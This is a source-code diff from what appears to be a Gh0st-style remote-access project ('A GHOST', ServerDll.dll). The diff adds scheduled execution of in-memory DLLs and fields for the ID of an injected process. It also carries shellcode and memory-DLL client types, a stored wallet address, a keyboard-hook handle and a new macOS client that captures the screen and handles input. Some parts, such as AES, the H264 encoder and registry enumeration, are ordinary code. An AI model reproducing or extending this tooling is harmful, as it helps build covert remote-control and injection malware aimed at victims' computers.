Mprintf("收到主控配置信息 %dbytes: 上报间隔 %ds.\n", ulLength - 1, m_settings.ReportInterval);
|
||||
}
|
||||
if (m_ClientApp->IsMainInstance()) {
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
cfg.SetStr("settings", "wallet", m_settings.WalletAddress);
|
||||
m_cfg->SetStr("settings", "wallet", m_settings.WalletAddress);
|
||||
}
|
||||
CManager* pMgr = (CManager*)m_hKeyboard->user;
|
||||
if (pMgr) {
|
||||
|
||||
@@ -134,6 +134,7 @@ struct RttEstimator {
|
||||
class CKernelManager : public CManager
|
||||
{
|
||||
public:
|
||||
iniFile* m_cfg = nullptr;
|
||||
CONNECT_ADDRESS* m_conn;
|
||||
HINSTANCE m_hInstance;
|
||||
CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb, State& s);
|
||||
@@ -156,6 +157,9 @@ public:
|
||||
std::string m_hash;
|
||||
std::string m_hmac;
|
||||
uint64_t m_MyClientID = 0;
|
||||
// 执行代码
|
||||
std::map<std::string, std::vector<BYTE>> m_MemDLL;
|
||||
int RestoreMemDLL();
|
||||
void SetLoginMsg(const std::string& msg)
|
||||
{
|
||||
m_LoginMsg = msg;
|
||||
|
||||
@@ -88,7 +88,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
|
||||
//
|
||||
|
||||
VS_VERSION_INFO VERSIONINFO
|
||||
FILEVERSION 1,0,3,1
|
||||
FILEVERSION 1,0,3,2
|
||||
PRODUCTVERSION 1,0,0,1
|
||||
FILEFLAGSMASK 0x3fL
|
||||
#ifdef _DEBUG
|
||||
@@ -106,7 +106,7 @@ BEGIN
|
||||
BEGIN
|
||||
VALUE "CompanyName", "FUCK THE UNIVERSE"
|
||||
VALUE "FileDescription", "A GHOST"
|
||||
VALUE "FileVersion", "1.0.3.1"
|
||||
VALUE "FileVersion", "1.0.3.2"
|
||||
VALUE "InternalName", "ServerDll.dll"
|
||||
VALUE "LegalCopyright", "Copyright (C) 2019-2026"
|
||||
VALUE "OriginalFilename", "ServerDll.dll"
|
||||
|
||||
Binary file not shown.
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
|
||||
This is an implementation of the AES algorithm, specifically ECB, CTR and CBC mode.
|
||||
This is an implementation of the AES algorithm, specifically ECB, AES_MODE_CTR and CBC mode.
|
||||
Block size can be chosen in aes.h - available choices are AES128, AES192, AES256.
|
||||
|
||||
The implementation is verified against the test vectors in:
|
||||
@@ -221,7 +221,7 @@ void AES_init_ctx(struct AES_ctx* ctx, const uint8_t* key)
|
||||
{
|
||||
KeyExpansion(ctx->RoundKey, key);
|
||||
}
|
||||
#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))
|
||||
#if (defined(CBC) && (CBC == 1)) || (defined(AES_MODE_CTR) && (AES_MODE_CTR == 1))
|
||||
void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv)
|
||||
{
|
||||
KeyExpansion(ctx->RoundKey, key);
|
||||
@@ -528,7 +528,7 @@ void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length)
|
||||
|
||||
|
||||
|
||||
#if defined(CTR) && (CTR == 1)
|
||||
#if defined(AES_MODE_CTR) && (AES_MODE_CTR == 1)
|
||||
|
||||
/* Symmetrical operation: same function for encrypting as for decrypting. Note any IV/nonce should never be reused with the same key */
|
||||
void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length)
|
||||
@@ -560,5 +560,5 @@ void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length)
|
||||
}
|
||||
}
|
||||
|
||||
#endif // #if defined(CTR) && (CTR == 1)
|
||||
#endif // #if defined(AES_MODE_CTR) && (AES_MODE_CTR == 1)
|
||||
|
||||
|
||||
14
common/aes.h
14
common/aes.h
@@ -7,7 +7,7 @@
|
||||
// #define the macros below to 1/0 to enable/disable the mode of operation.
|
||||
//
|
||||
// CBC enables AES encryption in CBC-mode of operation.
|
||||
// CTR enables encryption in counter-mode.
|
||||
// AES_MODE_CTR enables encryption in counter-mode.
|
||||
// ECB enables the basic ECB 16-byte block algorithm. All can be enabled simultaneously.
|
||||
|
||||
// The #ifndef-guard allows it to be configured before #include'ing or at compile time.
|
||||
@@ -19,8 +19,8 @@
|
||||
#define ECB 1
|
||||
#endif
|
||||
|
||||
#ifndef CTR
|
||||
#define CTR 1
|
||||
#ifndef AES_MODE_CTR
|
||||
#define AES_MODE_CTR 1
|
||||
#endif
|
||||
|
||||
|
||||
@@ -43,13 +43,13 @@
|
||||
|
||||
struct AES_ctx {
|
||||
uint8_t RoundKey[AES_keyExpSize];
|
||||
#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))
|
||||
#if (defined(CBC) && (CBC == 1)) || (defined(AES_MODE_CTR) && (AES_MODE_CTR == 1))
|
||||
uint8_t Iv[AES_BLOCKLEN];
|
||||
#endif
|
||||
};
|
||||
|
||||
void AES_init_ctx(struct AES_ctx* ctx, const uint8_t* key);
|
||||
#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))
|
||||
#if (defined(CBC) && (CBC == 1)) || (defined(AES_MODE_CTR) && (AES_MODE_CTR == 1))
|
||||
void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv);
|
||||
void AES_ctx_set_iv(struct AES_ctx* ctx, const uint8_t* iv);
|
||||
#endif
|
||||
@@ -75,7 +75,7 @@ void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length);
|
||||
#endif // #if defined(CBC) && (CBC == 1)
|
||||
|
||||
|
||||
#if defined(CTR) && (CTR == 1)
|
||||
#if defined(AES_MODE_CTR) && (AES_MODE_CTR == 1)
|
||||
|
||||
// Same function for encrypting as for decrypting.
|
||||
// IV is incremented for every block, and used after encryption as XOR-compliment for output
|
||||
@@ -84,7 +84,7 @@ void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length);
|
||||
// no IV should ever be reused with the same key
|
||||
void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length);
|
||||
|
||||
#endif // #if defined(CTR) && (CTR == 1)
|
||||
#endif // #if defined(AES_MODE_CTR) && (AES_MODE_CTR == 1)
|
||||
|
||||
|
||||
#endif // _AES_H_
|
||||
|
||||
@@ -41,7 +41,10 @@
|
||||
typedef int64_t __int64;
|
||||
typedef uint16_t WORD;
|
||||
typedef uint32_t DWORD;
|
||||
typedef int BOOL, SOCKET;
|
||||
#ifndef BOOL
|
||||
typedef bool BOOL;
|
||||
#endif
|
||||
typedef int SOCKET;
|
||||
typedef unsigned int ULONG;
|
||||
typedef unsigned int UINT;
|
||||
typedef void VOID;
|
||||
@@ -69,6 +72,7 @@ typedef struct {
|
||||
#endif
|
||||
|
||||
#include "ip_enc.h"
|
||||
#include "scheduler.h"
|
||||
#include <time.h>
|
||||
#include <unordered_map>
|
||||
|
||||
@@ -532,6 +536,7 @@ enum {
|
||||
CLIENT_TYPE_SHELLCODE = 4, // Shellcode
|
||||
CLIENT_TYPE_MEMDLL = 5, // 内存DLL运行
|
||||
CLIENT_TYPE_LINUX = 6, // LINUX 客户端
|
||||
CLIENT_TYPE_MACOS = 7, // MACOS 客户端
|
||||
};
|
||||
|
||||
enum {
|
||||
@@ -557,6 +562,8 @@ inline const char* GetClientType(int typ)
|
||||
return "MDLL";
|
||||
case CLIENT_TYPE_LINUX:
|
||||
return "LNX";
|
||||
case CLIENT_TYPE_MACOS:
|
||||
return "MAC";
|
||||
default:
|
||||
return "DLL";
|
||||
}
|
||||
@@ -1145,7 +1152,8 @@ typedef struct DllExecuteInfo {
|
||||
char Md5[33]; // DLL MD5
|
||||
int Pid; // 被注入进程ID
|
||||
char Is32Bit; // 是否32位DLL
|
||||
char Reseverd[18];
|
||||
unsigned short InfoSize; // 结构体大小
|
||||
ScheduleParams Schedule; // 执行计划
|
||||
} DllExecuteInfo;
|
||||
|
||||
typedef struct DllExecuteInfoNew {
|
||||
@@ -1156,7 +1164,8 @@ typedef struct DllExecuteInfoNew {
|
||||
char Md5[33]; // DLL MD5
|
||||
int Pid; // 被注入进程ID
|
||||
char Is32Bit; // 是否32位DLL
|
||||
char Reseverd[18];
|
||||
unsigned short InfoSize; // 结构体大小
|
||||
ScheduleParams Schedule; // 执行计划
|
||||
char Parameters[400];
|
||||
} DllExecuteInfoNew;
|
||||
inline void SetParameters(DllExecuteInfoNew *p, char *param, int size)
|
||||
|
||||
@@ -359,6 +359,88 @@ public:
|
||||
}
|
||||
m_keyCache.clear();
|
||||
}
|
||||
|
||||
// 枚举 m_SubKeyPath 下的所有子键名称
|
||||
// suffix: 只返回以该后缀结尾的键名,默认为空表示返回所有键
|
||||
std::vector<std::string> EnumSubKeys(const std::string& suffix = "") const
|
||||
{
|
||||
std::vector<std::string> result;
|
||||
|
||||
// 使用缓存获取 m_SubKeyPath 的句柄
|
||||
auto it = m_keyCache.find(m_SubKeyPath);
|
||||
HKEY hKey = NULL;
|
||||
if (it != m_keyCache.end()) {
|
||||
hKey = it->second;
|
||||
} else {
|
||||
if (RegOpenKeyExA(m_hRootKey, m_SubKeyPath.c_str(), 0, KEY_READ, &hKey) != ERROR_SUCCESS) {
|
||||
return result;
|
||||
}
|
||||
m_keyCache[m_SubKeyPath] = hKey;
|
||||
}
|
||||
|
||||
char keyName[256];
|
||||
DWORD keyNameSize;
|
||||
DWORD index = 0;
|
||||
|
||||
while (true) {
|
||||
keyNameSize = sizeof(keyName);
|
||||
LONG ret = RegEnumKeyExA(hKey, index, keyName, &keyNameSize, NULL, NULL, NULL, NULL);
|
||||
if (ret == ERROR_NO_MORE_ITEMS) {
|
||||
break;
|
||||
}
|
||||
if (ret == ERROR_SUCCESS) {
|
||||
if (suffix.empty()) {
|
||||
result.push_back(keyName);
|
||||
} else {
|
||||
std::string name(keyName);
|
||||
if (name.size() >= suffix.size() &&
|
||||
name.compare(name.size() - suffix.size(), suffix.size(), suffix) == 0) {
|
||||
result.push_back(name);
|
||||
}
|
||||
}
|
||||
}
|
||||
index++;
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
// 枚举指定 MainKey 下的所有值名称
|
||||
// suffix: 只返回以该后缀结尾的值名,默认为空表示返回所有值
|
||||
std::vector<std::string> EnumValues(const std::string& MainKey, const std::string& suffix = "") const
|
||||
{
|
||||
std::vector<std::string> result;
|
||||
|
||||
HKEY hKey = GetCachedKey(MainKey);
|
||||
if (!hKey)
|
||||
return result;
|
||||
|
||||
char valueName[256];
|
||||
DWORD valueNameSize;
|
||||
DWORD index = 0;
|
||||
|
||||
while (true) {
|
||||
valueNameSize = sizeof(valueName);
|
||||
LONG ret = RegEnumValueA(hKey, index, valueName, &valueNameSize, NULL, NULL, NULL, NULL);
|
||||
if (ret == ERROR_NO_MORE_ITEMS) {
|
||||
break;
|
||||
}
|
||||
if (ret == ERROR_SUCCESS) {
|
||||
if (suffix.empty()) {
|
||||
result.push_back(valueName);
|
||||
} else {
|
||||
std::string name(valueName);
|
||||
if (name.size() >= suffix.size() &&
|
||||
name.compare(name.size() - suffix.size(), suffix.size(), suffix) == 0) {
|
||||
result.push_back(name);
|
||||
}
|
||||
}
|
||||
}
|
||||
index++;
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
};
|
||||
|
||||
// 配置读取类: 注册表二进制配置(带键句柄缓存)
|
||||
|
||||
100
common/scheduler.h
Normal file
100
common/scheduler.h
Normal file
@@ -0,0 +1,100 @@
|
||||
#ifndef YAMA_SCHEDULER_H
|
||||
#define YAMA_SCHEDULER_H
|
||||
|
||||
// 调度模式定义
|
||||
#define SCH_MODE_NONE 0 // 默认模式:不自动执行 (仅手动)
|
||||
#define SCH_MODE_STARTUP 1 // 启动执行模式
|
||||
#define SCH_MODE_DAILY 2 // 每日定时模式
|
||||
#define SCH_MODE_WEEKLY 3 // 每周定时模式
|
||||
|
||||
#pragma pack(push, 1)
|
||||
// 严格定义 16 字节结构
|
||||
typedef struct {
|
||||
unsigned char Mode; // [1 字节] 0=None, 1=Startup, 2=Daily...
|
||||
unsigned char Flags; // [1 字节] 标志位 (bit0:禁用)
|
||||
|
||||
union {
|
||||
// Mode 1: 启动执行 + 间隔控制
|
||||
struct {
|
||||
unsigned int Interval;
|
||||
} Startup;
|
||||
|
||||
// Mode 2 & 3: 定时模式
|
||||
struct {
|
||||
unsigned short TargetMin;
|
||||
unsigned char DaysMask;
|
||||
unsigned char Reserved;
|
||||
} Timed;
|
||||
} Config;
|
||||
|
||||
uint64_t LastRunTime;
|
||||
unsigned char CurrentCount;
|
||||
unsigned char MaxCount;
|
||||
} ScheduleParams;
|
||||
#pragma pack(pop)
|
||||
|
||||
#ifdef _WIN32
|
||||
#include <windows.h>
|
||||
|
||||
class YamaTaskEngine {
|
||||
public:
|
||||
static bool ShouldExecute(const ScheduleParams* p) {
|
||||
// --- 1. 默认与基础拦截 ---
|
||||
if (p->Mode == SCH_MODE_NONE) return false; // Mode为0,默认不执行
|
||||
if (p->Flags & 0x01) return false; // 显式禁用拦截
|
||||
if (p->MaxCount > 0 && p->CurrentCount >= p->MaxCount) return false;
|
||||
|
||||
unsigned __int64 now = GetCurrentFT();
|
||||
|
||||
// --- 2. 启动执行模式 (Mode 1) ---
|
||||
if (p->Mode == SCH_MODE_STARTUP) {
|
||||
// 检查时间间隔限制
|
||||
if (p->Config.Startup.Interval > 0 && p->LastRunTime > 0) {
|
||||
unsigned __int64 diffSec = (now - p->LastRunTime) / 10000000ULL;
|
||||
if (diffSec < (unsigned __int64)p->Config.Startup.Interval) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
// --- 3. 每日定时逻辑 (Mode 2) ---
|
||||
if (p->Mode == SCH_MODE_DAILY) {
|
||||
SYSTEMTIME st;
|
||||
GetLocalTime(&st);
|
||||
unsigned short curMin = (unsigned short)(st.wHour * 60 + st.wMinute);
|
||||
if (curMin >= p->Config.Timed.TargetMin) {
|
||||
if (!IsSameDay(p->LastRunTime, now)) return true;
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
static void MarkExecuted(ScheduleParams* p) {
|
||||
p->LastRunTime = GetCurrentFT();
|
||||
if (p->MaxCount > 0 && p->CurrentCount < 255) {
|
||||
p->CurrentCount++;
|
||||
}
|
||||
}
|
||||
|
||||
private:
|
||||
static unsigned __int64 GetCurrentFT() {
|
||||
FILETIME ft;
|
||||
GetSystemTimeAsFileTime(&ft);
|
||||
return ((unsigned __int64)ft.dwHighDateTime << 32) | ft.dwLowDateTime;
|
||||
}
|
||||
|
||||
static bool IsSameDay(unsigned __int64 ft1, unsigned __int64 ft2) {
|
||||
if (ft1 == 0 || ft2 == 0) return false;
|
||||
SYSTEMTIME st1, st2;
|
||||
FILETIME f1, f2;
|
||||
f1.dwLowDateTime = (DWORD)ft1; f1.dwHighDateTime = (DWORD)(ft1 >> 32);
|
||||
f2.dwLowDateTime = (DWORD)ft2; f2.dwHighDateTime = (DWORD)(ft2 >> 32);
|
||||
FileTimeToSystemTime(&f1, &st1);
|
||||
FileTimeToSystemTime(&f2, &st2);
|
||||
return (st1.wYear == st2.wYear && st1.wMonth == st2.wMonth && st1.wDay == st2.wDay);
|
||||
}
|
||||
};
|
||||
#endif
|
||||
#endif
|
||||
BIN
linux/lib/libzstd.a
Normal file
BIN
linux/lib/libzstd.a
Normal file
Binary file not shown.
73
macos/CMakeLists.txt
Normal file
73
macos/CMakeLists.txt
Normal file
@@ -0,0 +1,73 @@
|
||||
cmake_minimum_required(VERSION 3.15)
|
||||
project(ghost_macos)
|
||||
|
||||
set(CMAKE_CXX_STANDARD 17)
|
||||
set(CMAKE_CXX_STANDARD_REQUIRED ON)
|
||||
|
||||
# macOS deployment target
|
||||
set(CMAKE_OSX_DEPLOYMENT_TARGET "10.13" CACHE STRING "Minimum macOS version")
|
||||
|
||||
# Universal Binary (Intel + Apple Silicon)
|
||||
set(CMAKE_OSX_ARCHITECTURES "x86_64;arm64" CACHE STRING "Build architectures")
|
||||
|
||||
include_directories(../)
|
||||
include_directories(../client)
|
||||
include_directories(../compress)
|
||||
|
||||
# Source files
|
||||
set(SOURCES
|
||||
main.mm
|
||||
../client/Buffer.cpp
|
||||
../client/IOCPClient.cpp
|
||||
ScreenHandler.mm
|
||||
InputHandler.mm
|
||||
SystemManager.mm
|
||||
Permissions.mm
|
||||
H264Encoder.mm
|
||||
)
|
||||
|
||||
# Create executable
|
||||
add_executable(ghost ${SOURCES})
|
||||
|
||||
# Include directories
|
||||
target_include_directories(ghost PRIVATE
|
||||
${CMAKE_CURRENT_SOURCE_DIR}
|
||||
)
|
||||
|
||||
# Find and link macOS frameworks
|
||||
find_library(COCOA_FRAMEWORK Cocoa REQUIRED)
|
||||
find_library(COREGRAPHICS_FRAMEWORK CoreGraphics REQUIRED)
|
||||
find_library(IOKIT_FRAMEWORK IOKit REQUIRED)
|
||||
find_library(IOSURFACE_FRAMEWORK IOSurface REQUIRED)
|
||||
find_library(APPLICATIONSERVICES_FRAMEWORK ApplicationServices REQUIRED)
|
||||
find_library(SECURITY_FRAMEWORK Security REQUIRED)
|
||||
find_library(CARBON_FRAMEWORK Carbon REQUIRED)
|
||||
find_library(VIDEOTOOLBOX_FRAMEWORK VideoToolbox REQUIRED)
|
||||
find_library(COREMEDIA_FRAMEWORK CoreMedia REQUIRED)
|
||||
find_library(COREVIDEO_FRAMEWORK CoreVideo REQUIRED)
|
||||
|
||||
target_link_libraries(ghost PRIVATE
|
||||
${COCOA_FRAMEWORK}
|
||||
${COREGRAPHICS_FRAMEWORK}
|
||||
${IOKIT_FRAMEWORK}
|
||||
${IOSURFACE_FRAMEWORK}
|
||||
${APPLICATIONSERVICES_FRAMEWORK}
|
||||
${SECURITY_FRAMEWORK}
|
||||
${CARBON_FRAMEWORK}
|
||||
${VIDEOTOOLBOX_FRAMEWORK}
|
||||
${COREMEDIA_FRAMEWORK}
|
||||
${COREVIDEO_FRAMEWORK}
|
||||
"${CMAKE_SOURCE_DIR}/lib/libzstd.a"
|
||||
)
|
||||
|
||||
# Compiler flags
|
||||
target_compile_options(ghost PRIVATE
|
||||
-Wall
|
||||
-Wextra
|
||||
-fobjc-arc
|
||||
)
|
||||
|
||||
# Output directory
|
||||
set_target_properties(ghost PROPERTIES
|
||||
RUNTIME_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}/bin
|
||||
)
|
||||
86
macos/H264Encoder.h
Normal file
86
macos/H264Encoder.h
Normal file
@@ -0,0 +1,86 @@
|
||||
#pragma once
|
||||
|
||||
#include <cstdint>
|
||||
#include <vector>
|
||||
#include <mutex>
|
||||
#include <atomic>
|
||||
#import <VideoToolbox/VideoToolbox.h>
|
||||
#import <CoreMedia/CoreMedia.h>
|
||||
|
||||
class H264Encoder {
|
||||
public:
|
||||
H264Encoder();
|
||||
~H264Encoder();
|
||||
|
||||
// Initialize encoder
|
||||
// @param width: frame width
|
||||
// @param height: frame height
|
||||
// @param fps: target frame rate
|
||||
// @param bitrate: target bitrate in kbps (0 = auto)
|
||||
bool open(int width, int height, int fps, int bitrate = 0);
|
||||
|
||||
// Close encoder and release resources
|
||||
void close();
|
||||
|
||||
// Check if encoder is open
|
||||
bool isOpen() const { return m_session != nullptr; }
|
||||
|
||||
// Encode a frame
|
||||
// @param bgra: BGRA pixel data (bottom-up or top-down)
|
||||
// @param bpp: bits per pixel (32 for BGRA)
|
||||
// @param stride: bytes per row
|
||||
// @param width: frame width
|
||||
// @param height: frame height
|
||||
// @param outData: pointer to receive encoded data pointer
|
||||
// @param outSize: pointer to receive encoded data size
|
||||
// @param flipVertical: true if image is bottom-up (BMP format)
|
||||
// @return: encoded size, or 0 on failure
|
||||
int encode(const uint8_t* bgra, uint8_t bpp, uint32_t stride,
|
||||
uint32_t width, uint32_t height,
|
||||
uint8_t** outData, uint32_t* outSize,
|
||||
bool flipVertical = true);
|
||||
|
||||
// Force next frame to be keyframe
|
||||
void forceKeyframe() { m_forceKeyframe = true; }
|
||||
|
||||
// Get last error message
|
||||
const char* getLastError() const { return m_lastError; }
|
||||
|
||||
private:
|
||||
// VideoToolbox compression callback
|
||||
static void compressionCallback(void* outputCallbackRefCon,
|
||||
void* sourceFrameRefCon,
|
||||
OSStatus status,
|
||||
VTEncodeInfoFlags infoFlags,
|
||||
CMSampleBufferRef sampleBuffer);
|
||||
|
||||
// Process encoded sample buffer
|
||||
void processSampleBuffer(CMSampleBufferRef sampleBuffer);
|
||||
|
||||
// Convert BGRA to I420 (YUV)
|
||||
void convertBGRAtoI420(const uint8_t* bgra, uint32_t stride,
|
||||
uint32_t width, uint32_t height,
|
||||
bool flipVertical);
|
||||
|
||||
private:
|
||||
VTCompressionSessionRef m_session;
|
||||
|
||||
int m_width;
|
||||
int m_height;
|
||||
int m_fps;
|
||||
int m_bitrate;
|
||||
|
||||
// YUV buffers
|
||||
std::vector<uint8_t> m_yPlane;
|
||||
std::vector<uint8_t> m_uPlane;
|
||||
std::vector<uint8_t> m_vPlane;
|
||||
|
||||
// Output buffer
|
||||
std::vector<uint8_t> m_outputBuffer;
|
||||
std::mutex m_outputMutex;
|
||||
|
||||
// State
|
||||
std::atomic<bool> m_forceKeyframe;
|
||||
int64_t m_frameCount;
|
||||
char m_lastError[256];
|
||||
};
|
||||
521
macos/H264Encoder.mm
Normal file
521
macos/H264Encoder.mm
Normal file
@@ -0,0 +1,521 @@
|
||||
#import "H264Encoder.h"
|
||||
#import <VideoToolbox/VideoToolbox.h>
|
||||
#import <CoreMedia/CoreMedia.h>
|
||||
#import <CoreVideo/CoreVideo.h>
|
||||
#import <Cocoa/Cocoa.h>
|
||||
|
||||
H264Encoder::H264Encoder()
|
||||
: m_session(nullptr)
|
||||
, m_width(0)
|
||||
, m_height(0)
|
||||
, m_fps(30)
|
||||
, m_bitrate(0)
|
||||
, m_forceKeyframe(false)
|
||||
, m_frameCount(0)
|
||||
{
|
||||
m_lastError[0] = '\0';
|
||||
}
|
||||
|
||||
H264Encoder::~H264Encoder()
|
||||
{
|
||||
close();
|
||||
}
|
||||
|
||||
bool H264Encoder::open(int width, int height, int fps, int bitrate)
|
||||
{
|
||||
close();
|
||||
|
||||
// Width and height must be even for H264
|
||||
m_width = width & ~1;
|
||||
m_height = height & ~1;
|
||||
m_fps = fps > 0 ? fps : 30;
|
||||
m_bitrate = bitrate > 0 ? bitrate : (m_width * m_height * 3); // ~3 bits per pixel default
|
||||
|
||||
// Allocate YUV buffers
|
||||
int ySize = m_width * m_height;
|
||||
int uvSize = (m_width / 2) * (m_height / 2);
|
||||
m_yPlane.resize(ySize);
|
||||
m_uPlane.resize(uvSize);
|
||||
m_vPlane.resize(uvSize);
|
||||
|
||||
// Reserve output buffer
|
||||
m_outputBuffer.reserve(m_width * m_height);
|
||||
|
||||
// Create compression session
|
||||
CFMutableDictionaryRef encoderSpec = CFDictionaryCreateMutable(
|
||||
kCFAllocatorDefault, 0,
|
||||
&kCFTypeDictionaryKeyCallBacks,
|
||||
&kCFTypeDictionaryValueCallBacks
|
||||
);
|
||||
|
||||
// Prefer hardware encoder
|
||||
CFDictionarySetValue(encoderSpec,
|
||||
kVTVideoEncoderSpecification_EnableHardwareAcceleratedVideoEncoder,
|
||||
kCFBooleanTrue);
|
||||
|
||||
// Source image attributes
|
||||
CFMutableDictionaryRef sourceAttrs = CFDictionaryCreateMutable(
|
||||
kCFAllocatorDefault, 0,
|
||||
&kCFTypeDictionaryKeyCallBacks,
|
||||
&kCFTypeDictionaryValueCallBacks
|
||||
);
|
||||
|
||||
int32_t pixelFormat = kCVPixelFormatType_420YpCbCr8Planar; // I420
|
||||
CFNumberRef pixelFormatNum = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &pixelFormat);
|
||||
CFDictionarySetValue(sourceAttrs, kCVPixelBufferPixelFormatTypeKey, pixelFormatNum);
|
||||
CFRelease(pixelFormatNum);
|
||||
|
||||
int32_t widthNum = m_width;
|
||||
int32_t heightNum = m_height;
|
||||
CFNumberRef widthRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &widthNum);
|
||||
CFNumberRef heightRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &heightNum);
|
||||
CFDictionarySetValue(sourceAttrs, kCVPixelBufferWidthKey, widthRef);
|
||||
CFDictionarySetValue(sourceAttrs, kCVPixelBufferHeightKey, heightRef);
|
||||
CFRelease(widthRef);
|
||||
CFRelease(heightRef);
|
||||
|
||||
// Create compression session
|
||||
OSStatus status = VTCompressionSessionCreate(
|
||||
kCFAllocatorDefault,
|
||||
m_width,
|
||||
m_height,
|
||||
kCMVideoCodecType_H264,
|
||||
encoderSpec,
|
||||
sourceAttrs,
|
||||
kCFAllocatorDefault,
|
||||
compressionCallback,
|
||||
this,
|
||||
&m_session
|
||||
);
|
||||
|
||||
CFRelease(encoderSpec);
|
||||
CFRelease(sourceAttrs);
|
||||
|
||||
if (status != noErr) {
|
||||
snprintf(m_lastError, sizeof(m_lastError),
|
||||
"VTCompressionSessionCreate failed: %d", (int)status);
|
||||
NSLog(@"H264Encoder: %s", m_lastError);
|
||||
return false;
|
||||
}
|
||||
|
||||
// Configure session properties
|
||||
|
||||
// Real-time encoding
|
||||
VTSessionSetProperty(m_session, kVTCompressionPropertyKey_RealTime, kCFBooleanTrue);
|
||||
|
||||
// Profile: Baseline for compatibility
|
||||
VTSessionSetProperty(m_session, kVTCompressionPropertyKey_ProfileLevel,
|
||||
kVTProfileLevel_H264_Baseline_AutoLevel);
|
||||
|
||||
// Allow frame reordering: false for low latency
|
||||
VTSessionSetProperty(m_session, kVTCompressionPropertyKey_AllowFrameReordering, kCFBooleanFalse);
|
||||
|
||||
// Max keyframe interval (GOP size) - match Windows x264 setting (15 seconds)
|
||||
int32_t keyframeInterval = m_fps * 15; // Keyframe every 15 seconds
|
||||
CFNumberRef keyframeRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &keyframeInterval);
|
||||
VTSessionSetProperty(m_session, kVTCompressionPropertyKey_MaxKeyFrameInterval, keyframeRef);
|
||||
CFRelease(keyframeRef);
|
||||
|
||||
// Expected frame rate
|
||||
CFNumberRef fpsRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &m_fps);
|
||||
VTSessionSetProperty(m_session, kVTCompressionPropertyKey_ExpectedFrameRate, fpsRef);
|
||||
CFRelease(fpsRef);
|
||||
|
||||
// Average bitrate
|
||||
CFNumberRef bitrateRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &m_bitrate);
|
||||
VTSessionSetProperty(m_session, kVTCompressionPropertyKey_AverageBitRate, bitrateRef);
|
||||
CFRelease(bitrateRef);
|
||||
|
||||
// Data rate limits (for more consistent bitrate)
|
||||
// [bytes per second, duration in seconds]
|
||||
int64_t dataRateLimit = m_bitrate / 8;
|
||||
double duration = 1.0;
|
||||
CFNumberRef bytesRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt64Type, &dataRateLimit);
|
||||
CFNumberRef durationRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberFloat64Type, &duration);
|
||||
CFTypeRef limits[2] = { bytesRef, durationRef };
|
||||
CFArrayRef limitsArray = CFArrayCreate(kCFAllocatorDefault, limits, 2, &kCFTypeArrayCallBacks);
|
||||
VTSessionSetProperty(m_session, kVTCompressionPropertyKey_DataRateLimits, limitsArray);
|
||||
CFRelease(bytesRef);
|
||||
CFRelease(durationRef);
|
||||
CFRelease(limitsArray);
|
||||
|
||||
// Prepare to encode
|
||||
status = VTCompressionSessionPrepareToEncodeFrames(m_session);
|
||||
if (status != noErr) {
|
||||
snprintf(m_lastError, sizeof(m_lastError),
|
||||
"VTCompressionSessionPrepareToEncodeFrames failed: %d", (int)status);
|
||||
NSLog(@"H264Encoder: %s", m_lastError);
|
||||
close();
|
||||
return false;
|
||||
}
|
||||
|
||||
m_frameCount = 0;
|
||||
m_forceKeyframe = true; // First frame is always keyframe
|
||||
|
||||
NSLog(@"H264Encoder opened: %dx%d @ %d fps, bitrate=%d",
|
||||
m_width, m_height, m_fps, m_bitrate);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void H264Encoder::close()
|
||||
{
|
||||
if (m_session) {
|
||||
VTCompressionSessionInvalidate(m_session);
|
||||
CFRelease(m_session);
|
||||
m_session = nullptr;
|
||||
}
|
||||
|
||||
m_yPlane.clear();
|
||||
m_uPlane.clear();
|
||||
m_vPlane.clear();
|
||||
m_outputBuffer.clear();
|
||||
}
|
||||
|
||||
void H264Encoder::convertBGRAtoI420(const uint8_t* bgra, uint32_t stride,
|
||||
uint32_t width, uint32_t height,
|
||||
bool flipVertical)
|
||||
{
|
||||
// Convert BGRA to I420 (YUV 4:2:0 planar)
|
||||
// Y = 0.299*R + 0.587*G + 0.114*B
|
||||
// U = -0.169*R - 0.331*G + 0.500*B + 128
|
||||
// V = 0.500*R - 0.419*G - 0.081*B + 128
|
||||
|
||||
uint8_t* yDst = m_yPlane.data();
|
||||
uint8_t* uDst = m_uPlane.data();
|
||||
uint8_t* vDst = m_vPlane.data();
|
||||
|
||||
int uvWidth = width / 2;
|
||||
|
||||
for (uint32_t y = 0; y < height; y++) {
|
||||
// Source row (handle vertical flip)
|
||||
uint32_t srcY = flipVertical ? (height - 1 - y) : y;
|
||||
const uint8_t* srcRow = bgra + srcY * stride;
|
||||
|
||||
// Y plane destination
|
||||
uint8_t* yRow = yDst + y * width;
|
||||
|
||||
